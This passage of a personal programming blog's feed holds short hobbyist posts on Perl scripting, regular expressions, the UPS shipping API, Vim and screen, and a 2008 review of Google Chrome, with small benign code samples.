&lt;h3&gt;Putting it all together&lt;/h3&gt;

&lt;p&gt;Your code for a simple Hello World program will look like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#!/usr/bin/perl
print &#39;Hello World!&#39;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Save your program as, helloWorld.pl&lt;/p&gt;

&lt;p&gt;To run your program navigate to the directory and type, &amp;lsquo;&lt;strong&gt;perl helloWorld.pl&lt;/strong&gt;&amp;rsquo;.  You should get a display that says, Hello World!&amp;rdquo;&lt;/p&gt;

&lt;p&gt;You just finished your first Perl program.  Although your program doesn&amp;rsquo;t really do much we will quickly progress to something that is useful in future posts.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Mastering the UPS Shipping API: Getting Started</title>
		<link href="https://www.marksanborn.net/howto/mastering-the-ups-shipping-api-getting-started/index.html" />
		<updated>2024-02-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/mastering-the-ups-shipping-api-getting-started/index.html</id>
		<content type="html">&lt;p&gt;This article is here to help you get a jump start on using the UPS Shipping API.  This article is part 1 of the series that will help you get all the required tools to get you up and running.  Later the series will expand upon each service the API has to offer as well as go into detail on how to create your custom programs using various languages and show you examples with both PHP and other programming languages.&lt;/p&gt;

&lt;!--more--&gt;

&lt;div class=&#34;alert alert-info&#34;&gt;
&lt;strong&gt;Update:&lt;/strong&gt; For a no fuss, 100% complete UPS REST API library with label printing support, integration support and automatic certification generation (required by UPS), I have created, &lt;a href=&#34;https://www.rocketshipit.com/?utm_source=msnet&amp;utm_medium=link&amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;.
&lt;/div&gt;

&lt;h3&gt;What is the UPS API?&lt;/h3&gt;

&lt;p&gt;The UPS API is a tool to allow you to communicate with the UPS servers using pretty much any programming language you want.  This allows us to send our information, like addresses and weight and receive shipping rates and other information form UPS.  UPS provides access to this API for free so developers can interact with their services to provide UPS information through their own custom apps.  Whether it be through your web based ecommerce system to accurately determine shipping costs or display tracking information through your website.&lt;/p&gt;

&lt;h3&gt;Why is this cool?&lt;/h3&gt;

&lt;p&gt;I have used all kinds of shipping programs and pre-built ecommerce systems for businesses what always have their limitations.  The shipping programs that I have used have never displayed the accurate rate.  Although most will come close they are never truly accurate because they use shipping zones and routing tables to determine weight.  They also usually need to be updated with the current fuel surcharge since the surcharge varies monthly which is a huge pain in the neck.  If these limitations weren&amp;rsquo;t enough they pre-built systems usually lack flexibility and customization.  By using the UPS Shipping API you call the shots.&lt;/p&gt;

&lt;h3&gt;Communicating with the UPS API&lt;/h3&gt;

&lt;p&gt;XML is the standard means of communication between web APIs and this is exactly what UPS uses.  The great news is that XML is simple technology.  Just about any programming language can easily communicate with XML and most of these languages have modules that make is really easy.  PHP and Perl for example both have a module called SimpleXML.  So I will show you example code in these languages to get you started.&lt;/p&gt;

&lt;p&gt;Update: UPS now has a JSON &amp;ldquo;REST&amp;rdquo; API &lt;a href=&#34;https://developer.ups.com/&#34;&gt;https://developer.ups.com/&lt;/a&gt; Unfortunately, it is mostly just a JSON facade on top of their old legacy API with some extra friction around authentication.&lt;/p&gt;

&lt;h3&gt;Tools available in the UPS API&lt;/h3&gt;

&lt;p&gt;Here are the services that are offered by UPS and the topics that I will be covering in subsequent articles in this series.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;UPS Tracking Tool&lt;/strong&gt; - Track packages or allow customers login to your website to check on the status of their recent purchase with in house tracking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS Signature Tracking&lt;/strong&gt; - Get signature information for your in house systems&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS Rates &amp;amp; Service Selection Tool&lt;/strong&gt; - Probably the most popular tool.  Allows you to look up the actual rate for a package&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS Address Validation Tool&lt;/strong&gt; - Check user entered addresses for typos or mistakes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS File Download for Quantum View&lt;/strong&gt; - Download images of signatures and other documents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS Shipping Tool&lt;/strong&gt; - An all encompassing tool for enterprises.  This allows you to actually ship things and printed labels&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS Time in Transit Tool&lt;/strong&gt; - Find out what services you can ship with to a certain area&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPS TradeAbility&lt;/strong&gt; - Generate cost estimates for duties, taxes, and transportation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;How to get access&lt;/h3&gt;

&lt;p&gt;Getting access to the UPS developer tools is pretty easy.  The first thing you will want to do is:&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://developer.ups.com/?loc=en_US&#34;&gt;Register for UPS REST API&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you are registered you will get oauth &lt;strong&gt;client_id&lt;/strong&gt; and &lt;strong&gt;client_secret&lt;/strong&gt;.  You will use these credentials to generate a bearer token in subsequent requests which is good for an hour or so.&lt;/p&gt;

&lt;p&gt;Once you are registered you need to requst access to various UPS services like rating, shipping, tracking, etc as the default registration gives no access.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Vim is a beautiful tool</title>
		<link href="https://www.marksanborn.net/miscellaneous/vim-is-a-beautiful-tool/index.html" />
		<updated>2008-09-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/vim-is-a-beautiful-tool/index.html</id>
		<content type="html">&lt;p&gt;Eric Wendelin over at &lt;a href=&#34;http://eriwen.com&#34;&gt;eriwen.com&lt;/a&gt; was kind enough to let me post &lt;a href=&#34;http://eriwen.com/tools/vim-is-a-beautiful-tool/&#34;&gt;an article about Vim&lt;/a&gt; on his blog today.  It is a nice guide to Vim for people that have never used Vim looking to add some productivity to their programing.  If you have used Vim for years you might learn something as well.&lt;/p&gt;

&lt;p&gt;While you are there check out some of his other articles.  There are some great ones on &lt;a href=&#34;http://eriwen.com/tools/grep-is-a-beautiful-tool/&#34;&gt;grep&lt;/a&gt;, &lt;a href=&#34;http://eriwen.com/tools/get-sed-savvy-3/&#34;&gt;sed&lt;/a&gt;, &lt;a href=&#34;http://eriwen.com/tools/awk-is-a-beautiful-tool/&#34;&gt;awk&lt;/a&gt;, and lots more.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://eriwen.com/tools/vim-is-a-beautiful-tool/&#34;&gt;Vim is a beautiful tool&lt;/a&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>The Perl Regular Expression Challenge</title>
		<link href="https://www.marksanborn.net/miscellaneous/the-perl-regular-expression-challenge/index.html" />
		<updated>2008-09-11T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/the-perl-regular-expression-challenge/index.html</id>
		<content type="html">&lt;p&gt;With my newly acquired Perl and regular expression skills I was trying to put them to the test and get a little practice.  I asked a friend of mine if he had any regular expressions I should write.  He first gave me an easy one.  Replace &amp;lsquo;&lt;strong&gt;foo&lt;/strong&gt;&amp;rsquo; with &amp;lsquo;&lt;strong&gt;bar&lt;/strong&gt;&amp;rsquo; only when bar follows the word &amp;lsquo;&lt;strong&gt;blah&lt;/strong&gt;&amp;rsquo;.  So after a minute or two I returned with a working regular expression.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Well that was easy&amp;hellip;&lt;/p&gt;

&lt;p&gt;Now for something a little trickier.  He said, I want a regular expression that would print out words that land on every third letter &amp;lsquo;&lt;strong&gt;e&lt;/strong&gt;&amp;rsquo; except if that word was &amp;lsquo;&lt;strong&gt;the&lt;/strong&gt;&amp;rsquo;.  This doesn&amp;rsquo;t mean he wanted the third word that has the letter &amp;lsquo;&lt;strong&gt;e&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;h3&gt;To further clarify&lt;/h3&gt;

&lt;p&gt;&amp;lsquo;&lt;strong&gt;Meet the Press!&lt;/strong&gt;&amp;rsquo; Would match only &amp;lsquo;&lt;strong&gt;Press!&lt;/strong&gt;&amp;rsquo; since the is excluded.
&amp;lsquo;&lt;strong&gt;Meet them guys there&lt;/strong&gt;&amp;rsquo; Would match the word &amp;lsquo;&lt;strong&gt;them&lt;/strong&gt;&amp;rsquo;.  Although it them is the second word it is the third time &amp;lsquo;&lt;strong&gt;e&lt;/strong&gt;&amp;rsquo; is used in the string.
&amp;lsquo;&lt;strong&gt;eeeeee&lt;/strong&gt;&amp;rsquo; would match the word &amp;lsquo;&lt;strong&gt;eeeeee&lt;/strong&gt;&amp;rsquo; twice, although we would probably not find that word too often.
&amp;lsquo;&lt;strong&gt;Them them thee rem em shem&lt;/strong&gt;&amp;rsquo; Would match em.  Notice how the second &amp;lsquo;&lt;strong&gt;e&lt;/strong&gt;&amp;rsquo; counts towards the next match.&lt;/p&gt;

&lt;p&gt;It took me awhile to figure out the solution to this problem because I was trying to solve the problem with pure regular expressions.  Which I am told is not possible.&lt;/p&gt;

&lt;p&gt;I ended up solving the problem with a little bit of Perl code with the help of two simple regular expressions.  If you are looking for a challenge or hone in your skills this is a great problem to practice with.  If you are learning a new language this problem incorporates many of the needed elements in programming and will help you learn the language.&lt;/p&gt;

&lt;h3&gt;How I did it&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl

use warnings;

$_ = &amp;quot;my test string goes here&amp;quot;;
while (/(\w+)/gi) {
    $word = $&amp;amp;;
    while ($word =~ /e/gi) {
        $count++;
        if ($count == 3 and $word ne &#39;the&#39;) {
            print &amp;quot;$word\n&amp;quot;;
            $count = 0;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Can you do it?  I wrote my example in Perl but I would love to see someone do it in other languages.  Post your examples or a &lt;a href=&#34;http://pastebin.com/&#34;&gt;pastebin&lt;/a&gt; of your code.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: I have also worked out this example with PHP without using regular expressions.  There are multiple ways of solving this problem.&lt;/em&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>My Impressions of the New Google Chrome Browser</title>
		<link href="https://www.marksanborn.net/software/my-impressions-of-the-new-google-chrome-browser/index.html" />
		<updated>2008-09-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/my-impressions-of-the-new-google-chrome-browser/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.google.com/chrome&#34;&gt;Google Chrome&lt;/a&gt; is the new browser that was just relased by Google in an attempt to capture the browser market to give them a significant advantage to their search/advertising business.  With Chrome Google will be able to track what actions the browser takes to further narrow down pagerank of sites.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Google Chrome uses &lt;a href=&#34;http://webkit.org/&#34;&gt;Webkit&lt;/a&gt; as its rendering engine.  WebKit is also the name of the Mac OS X system framework version of the engine that&amp;rsquo;s used by Safari, Dashboard, Mail, and many other OS X applications.&lt;/p&gt;

&lt;p&gt;The install file is a download file which I really didn&amp;rsquo;t care for.  What if I want to redistribute to multiple computers?  I believe this is probably used on release day to minimize bandwidth usage and will change later.&lt;/p&gt;

&lt;p&gt;The first thing I noticed was that the browser was going to import my contacts from Internet explorer so I selected, &amp;lsquo;Customize Settings&amp;rsquo; to change that.  I was a little disappointed that Opera wasn&amp;rsquo;t in the list of browsers to import from, but no biggie.  The really cool thing I saw was that the browser DIDN&amp;rsquo;T try to make itself the default browser on install.  It was actually unchecked by default.  Which I thought was very classy since many apps try to force their settings on you.&lt;/p&gt;

&lt;h3&gt;Things I liked&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The first thing it asks you is which search engine you want to use.  Although I prefer Google Search over all the others I am glad it at least asked.  Microsoft products NEVER ask.&lt;/li&gt;
&lt;li&gt;Incognito mode (Ctrl+Shift+n)&lt;/li&gt;
&lt;li&gt;Seperating each tab and process into its own sandbox&lt;/li&gt;
&lt;li&gt;The UI is appealing yet very simple&lt;/li&gt;
&lt;li&gt;The status bar is dynamic, meaning it only shows up when you need to see information.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.marksanborn.net&#34;&gt;marksanborn.net&lt;/a&gt; loaded properly in it&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Things I didn&amp;rsquo;t like&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Like most browsers, they took ideas from Opera (Speed Dial feature, and history search in address bar) and didn&amp;rsquo;t give them any credit or even give the option to import bookmarks from Opera.&lt;/li&gt;
&lt;li&gt;No plugins/extensions.  I am sure these will come soon however.&lt;/li&gt;
&lt;li&gt;It used a lot more memory than Opera&lt;/li&gt;
&lt;li&gt;Hardly any options to customize the browser&lt;/li&gt;
&lt;li&gt;No built-in content blocking&lt;/li&gt;
&lt;li&gt;It isn&amp;rsquo;t supported in Linux yet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read the &lt;a href=&#34;http://www.google.com/googlebooks/chrome/&#34;&gt;Google Chrome Story Book&lt;/a&gt; for more information on the technology side of it.&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;It&amp;rsquo;s too early before I can make my conclusion on this browser.  I think it has some really innovative features and the UI is great but I think it needs more options and customization which I am sure will follow shortly.  I look forward to see what Google does with this.  What do you think?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Retrieve IMDB Cover Images with Perl</title>
		<link href="https://www.marksanborn.net/howto/retrieve-imdb-cover-images-with-perl/index.html" />
		<updated>2008-08-29T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/retrieve-imdb-cover-images-with-perl/index.html</id>
		<content type="html">&lt;p&gt;In response to David&amp;rsquo;s post on &lt;a href=&#34;http://davidwalsh.name/php-imdb-information-grabber&#34;&gt;PHP IMDB Information Grabber&lt;/a&gt;, I thought I would extend his idea and grab the cover image for the movie and save it.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;So basically you give this script the IMDB number OR the actual movie title and it will go out and try to find it and download the image that IMDB has on file and store it on your hard drive.  By default the file will be downloaded into the current directory.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl

use IMDB::Film;
use LWP::Simple;

my $imdbNumber = $ARGV[0];
my $film = new IMDB::Film(crit =&amp;gt; $imdbNumber);

my $title = $film-&amp;gt;title();
my $file = &amp;quot;$title.jpg&amp;quot;;

my $cover = $film-&amp;gt;cover();
getstore($cover,$file);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Usage&lt;/h3&gt;

&lt;p&gt;The usage is really simple&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;perl imdbCover.pl 0112573&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Where the number is the IMDB number of that particular title.  You can also use the actual movie title.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;perl  imdbCover.pl Goonies&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will fetch the cover image and download it to the current directory.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Update Twitter From your Blog If you are Logged In</title>
		<link href="https://www.marksanborn.net/howto/update-twitter-from-your-blog-if-you-are-logged-in/index.html" />
		<updated>2008-08-28T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/update-twitter-from-your-blog-if-you-are-logged-in/index.html</id>
		<content type="html">&lt;p&gt;I don&amp;rsquo;t want to have to login to Twitter all the time to do updates.  So what I made was a script that displays a small text box near my twitter updates on my blog when I am logged in.  This is handy because not only does is display your tweets it also gives you an opportunity to update them while you are working on a blog post or just browsing around checking your own blog.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;The Perl Script&lt;/h3&gt;

&lt;p&gt;I am using Perl to update my twitter status but you could just as easily use PHP and cURL.  So this part could be modified if you would rather do it that way.  In my opinion this is far easier though.&lt;/p&gt;

&lt;p&gt;First download the &lt;a href=&#34;http://search.cpan.org/~cthom/Net-Twitter-1.17/lib/Net/Twitter.pm&#34;&gt;Net::Twitter&lt;/a&gt; module from &lt;a href=&#34;http://search.cpan.org/&#34;&gt;CPAN&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can do this by executing the following line in your shell:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cpan Net::Twitter&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then make a file called twitterUpdate.pl somewhere outside your web directory and copy this code in adding your Twitter username and password.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl

use lib qw( /home/username/perlmods/lib/perl/5.8 /home/username/perlmods/lib/perl/5.8.4
            /home/username/perlmods/share/perl/5.8 /home/username/perlmods/share/perl/5.8.4 );

use Net::Twitter;
use JSON::Any;

my $twit = Net::Twitter-&amp;gt;new(username=&amp;gt;&#39;YOURUSERNAME&#39;, password=&amp;gt;&#39;YOURPASSWORD&#39; );

$result = $twit-&amp;gt;update(&amp;quot;$ARGV[0]&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then add these lines to your blog&amp;rsquo;s template:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $user_ID; if ($user_ID) : ?&amp;gt;
&amp;lt;?php if (current_user_can(&#39;level_10&#39;)) : ?&amp;gt;
&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;processTwitter.php&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;tweet&amp;quot; style=&amp;quot;float:left;margin-left:3px;&amp;quot; /&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;?php else : ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will add a text box and submit button only if you logged in and have administrative rights.&lt;/p&gt;

&lt;p&gt;Then all you have to do is use javascript or PHP to process the form!&lt;/p&gt;

&lt;p&gt;Here is what the end result can look like&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/08/twitterscript.jpg&#34; alt=&#34;Twitter Script&#34; /&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Check Google PageRank with Perl</title>
		<link href="https://www.marksanborn.net/programming/check-google-pagerank-with-perl/index.html" />
		<updated>2008-08-28T00:00:00Z</updated>
		<id>https://www.marksanborn.net/programming/check-google-pagerank-with-perl/index.html</id>
		<content type="html">&lt;p&gt;I am on a huge Perl kick lately.  I have been making tons of different perl scripts for many different uses.  Some of them useful and some are just plain silly.  In this post we are going to talk about making an easy script that will go out and check the pagerank of any site that you want.  Then we will make the script run through PHP so we can display our result on a website.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;The Perl&lt;/h3&gt;

&lt;p&gt;This is a really simple perl script.  Basically all we are doing here is calling a third party perl module called, &amp;ldquo;&lt;a href=&#34;http://search.cpan.org/dist/WWW-Google-PageRank/lib/WWW/Google/PageRank.pm&#34;&gt;WWW::Google::PageRank&lt;/a&gt;&amp;rdquo;.  Perl like many language is known for having a repository of easy to use modules that are already made so you don&amp;rsquo;t have to do any extra coding.  This repository is called &lt;a href=&#34;http://search.cpan.org/&#34;&gt;CPAN&lt;/a&gt;.  No heavy coding in this example.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl
# Library location for custom modules on dreamhost
use lib &#39;/home/marcrosoft/perlmods/share/perl/5.8.4/&#39;;
use WWW::Google::PageRank;

$url = $ARGV[0];

if (defined($url)) {
        my $pr = WWW::Google::PageRank-&amp;gt;new;
        print scalar($pr-&amp;gt;get($url)), &amp;quot;\n&amp;quot;;
} else {
        print &#39;Page not specified!&#39;. &amp;quot;\n&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first couple of lines initiate perl and get library files.  If you are using &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; as your webhost you can follow &lt;a href=&#34;http://wiki.dreamhost.com/CPAN&#34;&gt;this guide&lt;/a&gt; to download perl library modules into your home directory.&lt;/p&gt;

&lt;p&gt;The &amp;lsquo;&lt;strong&gt;$ARGV[0];&lt;/strong&gt;&amp;rsquo; part of the code simply means to accept a paramter when executing the script.  So you can do stuff like, &amp;lsquo;&lt;strong&gt;perl myperl.pl someArgument&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;The rest of the code is just initilizing the module or printing an error message if no argument is passed.&lt;/p&gt;

&lt;p&gt;To execute your code do, &lt;strong&gt;perl whateverYouNamedYourScript.pl &lt;a href=&#34;http://www.yoursite.com&#34;&gt;http://www.yoursite.com&lt;/a&gt;&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;h3&gt;The PHP Code&lt;/h3&gt;

&lt;p&gt;Once you have your working perl file you should be able to execute it from your shell.  If all goes well it should return an integer between 1 and 10 representing the site&amp;rsquo;s google page rank.  Now if you want to make PHP display the rank you can use the &amp;lsquo;&lt;strong&gt;shell_exec&lt;/strong&gt;&amp;rsquo; command to execute and return the output.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$output = shall_exac(&amp;quot;perl /home/username/Pagerank.pl http://www.yourpage.com&amp;quot;);
echo &amp;quot;The page rank for this site is: $output&amp;quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note: You must change, shall_exac to &lt;strong&gt;shell_exec&lt;/strong&gt;.  Due to the security settings on this domain I can&amp;rsquo;t even post the correct command anywhere near php code without getting an error in wordpress.  Kinda weird but I am not complaining.&lt;/p&gt;

&lt;p&gt;If you noticed in the above code you usually have to specify the absolute path to the perl file.  Some sites are also setup to only run executable files from outside of the web path for security reasons.  This is why I stored my file in my home directory.&lt;/p&gt;

&lt;p&gt;Thats it!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using Regular Expressions to Match XML</title>
		<link href="https://www.marksanborn.net/uncategorized/using-regular-expressions-to-match-xml/index.html" />
		<updated>2008-08-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/using-regular-expressions-to-match-xml/index.html</id>
		<content type="html">&lt;p&gt;After reading the chapter in my Perl book about regular expressions I decided to go ahead and solve one of the problems I usually have when getting cURL data.&lt;/p&gt;

&lt;p&gt;Often times I had cURL report back the HTTP header with the XML data.  Although I can disable this and tell cURL to only display the XML data, I wanted to be able to use the header data to distinguish if the website is reachable or not.  This is especially useful for web apps that go down often like &lt;a href=&#34;http://www.twitter.com&#34;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Until recently I have been using PHP&amp;rsquo;s function &amp;lsquo;&lt;strong&gt;strstr&lt;/strong&gt;&amp;rsquo; to cut out only the XML portion of the cURL response.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$data = strstr($result, &#39;&amp;lt;?&#39;);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Although this seems to do the job, &lt;a href=&#34;http://en.wikipedia.org/wiki/Regular_expression&#34;&gt;regular expressions&lt;/a&gt; are far more portable.  Perl for example doesn&amp;rsquo;t have a simple function for cutting the string off where the &amp;lsquo;&lt;strong&gt;&amp;lt;?&lt;/strong&gt;&amp;rsquo; starts.  Instead it uses a far more powerful system.  They use regular expressions for everything.  Once you learn how to use them you will use them for all types of string manipulations.&lt;/p&gt;

&lt;p&gt;Since regular expressions are used in a multitude of different programming languages and programs themselves, I thought it was worth learning one system that can be used in virtually every situation that requires string minipulation.&lt;/p&gt;

&lt;h3&gt;The code&lt;/h3&gt;

&lt;p&gt;So here is the snippet that I use for matching XML in a cURL response now.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;preg_match(&amp;quot;/(\&amp;lt;\?xml[\d\D]*\?\&amp;gt;)/&amp;quot;, $xml, $result);
data = $result[0];&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I will break down each part of the code one by one to make it easier to understand.&lt;/p&gt;

&lt;h3&gt;The breakdown&lt;/h3&gt;

&lt;p&gt;The first part of the code is initiating the &amp;lsquo;&lt;strong&gt;preg_match&lt;/strong&gt;&amp;rsquo; function.  This is PHP&amp;rsquo;s built in function that handles Perl Compatible Regular Expression matching.&lt;/p&gt;

&lt;p&gt;The next part of the code is the actual regular expression, &amp;lsquo;&lt;strong&gt;/(&amp;lt;\?xml[\d\D]*\?&amp;gt;)/&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;The first part of the regular expression is a slash, &amp;lsquo;/&amp;rsquo;  And the end of the regular repression is also a &amp;lsquo;/&amp;rsquo;.  This marks the part of the code that we want to match.  Anything after these slashes are called regular expression option modifiers.  These can include case insensitive ignore whitespace and other things.  In this example we are not using any of these.&lt;/p&gt;

&lt;p&gt;the parentheses, &amp;lsquo;&lt;strong&gt;(&lt;/strong&gt;&amp;rsquo; just like in math problems allow us to group certain matchings and do matchings based on those groups.  In Perl the first group has a variable name of, &amp;lsquo;&lt;strong&gt;$1&lt;/strong&gt;&amp;rsquo; as a shortcut.  Since I like shortcuts I add the parentheses even on single match phrases.&lt;/p&gt;

&lt;p&gt;Next we have, &amp;lsquo;&lt;strong&gt;&amp;lt;\?xml&lt;/strong&gt;&amp;rsquo;.  Just as in PHP, regular expressions have reserved/special characters.  It just so happens that we need to use escape two of those characters right off the bat.  The first one is &amp;lsquo;&lt;strong&gt;&amp;lt;&lt;/strong&gt;&amp;rsquo; and the next one is the question mark, &amp;lsquo;&lt;strong&gt;?&lt;/strong&gt;&amp;rsquo;.  The backslash in front of these characters tells PHP to use ? as the character instead of using its special meaning.&lt;/p&gt;

&lt;p&gt;Then we have &amp;lsquo;&lt;strong&gt;[\d\D]&lt;/strong&gt;&amp;rsquo;.  The brackets represent a range of characters that we want to match.  You can have various things in here, like &amp;lsquo;&lt;strong&gt;[0-9]&lt;/strong&gt;&amp;rsquo; or &amp;lsquo;&lt;strong&gt;[a-z]&lt;/strong&gt;&amp;rsquo;.  The &amp;lsquo;&lt;strong&gt;\d&lt;/strong&gt;&amp;rsquo; is a shortcut for saying we want to match digit characters.  The &amp;lsquo;\D&amp;rsquo; is a shortcut for NON digit characters.  In other words we did all that because we wanted to say &amp;ldquo;Match everything&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;The next part is the asterisk, &amp;lsquo;*****&amp;lsquo;.  This is what we call in regular expressions a multiplier.  A multiplier tells the script how many times to match something.  This particular multiplier we are using here means, match zero or more times.&lt;/p&gt;

&lt;p&gt;Finally we have, &amp;lsquo;&lt;strong&gt;\?&amp;gt;/&lt;/strong&gt;&amp;rsquo;.  Which as you probably guessed means that we want to stop matching when we find the string &amp;lsquo;&lt;strong&gt;?&amp;gt;&lt;/strong&gt;&amp;lsquo;&lt;/p&gt;

&lt;p&gt;$result[0]; is just the first match that it comes across.  If there were multiple XML snippets in a text file you could do $result[1]; for the next match.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Adding Shell to Vim Using Screen</title>
		<link href="https://www.marksanborn.net/howto/adding-shell-to-vim-using-screen/index.html" />
		<updated>2008-08-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/adding-shell-to-vim-using-screen/index.html</id>
		<content type="html">&lt;p&gt;When programming in Perl or any language that requires you to run it from shell it is often helpful to have two screens open at once.  One screen for your editor and one screen for running the program.  This is how most IDEs (Integrated Development Environment) are structured; however, since I love Vim and the Linux command line I use a program called screen to make my own IDE type setup.&lt;/p&gt;

&lt;p&gt;Here is how I do it&amp;hellip;&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Install screen&lt;/h3&gt;

&lt;p&gt;First thing you will want to do is install screen.  It is one of the most useful programs for system administrators and users of the Linux command line because you can &amp;ldquo;detach&amp;rdquo; your terminal if you are working from a remote location and come back to the exact terminal as when you left.&lt;/p&gt;

&lt;p&gt;We are going to use it for our vim IDE but you will probably need it sooner or later for other tasks so download it now with your package manager.&lt;/p&gt;

&lt;p&gt;For Debian systems:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install screen&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;FreeBSD users:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /usr/ports/sysutils/screen
make install clean&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Setting it up&lt;/h3&gt;

&lt;p&gt;To start screen do &amp;lsquo;&lt;strong&gt;screen&lt;/strong&gt;&amp;rsquo; or &amp;lsquo;&lt;strong&gt;screen -r&lt;/strong&gt;&amp;lsquo;&lt;/p&gt;

&lt;p&gt;The &amp;lsquo;&lt;strong&gt;screen -r&lt;/strong&gt;&amp;rsquo; will reattach the previous screen you had if you had any.&lt;/p&gt;

&lt;p&gt;Then split the screen with,&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Ctrl + a S&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &amp;lsquo;&lt;strong&gt;S&lt;/strong&gt;&amp;rsquo; is capitalized.&lt;/p&gt;

&lt;p&gt;Once this is done you should have a two windows both at 50%.&lt;/p&gt;

&lt;p&gt;Since I want to use most of my screen for editing and a small portion for by shell I went ahead and made the top screen have 50 lines by doing&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Ctrl + a then :resize 50&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To move from one screen window to the next you will use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Ctrl + tab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once you have all that setup you can open your script up do some quick edits and jump down to the next screen and do an execute.  Happy programming!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>How Do I Find Open Ports on FreeBSD?</title>
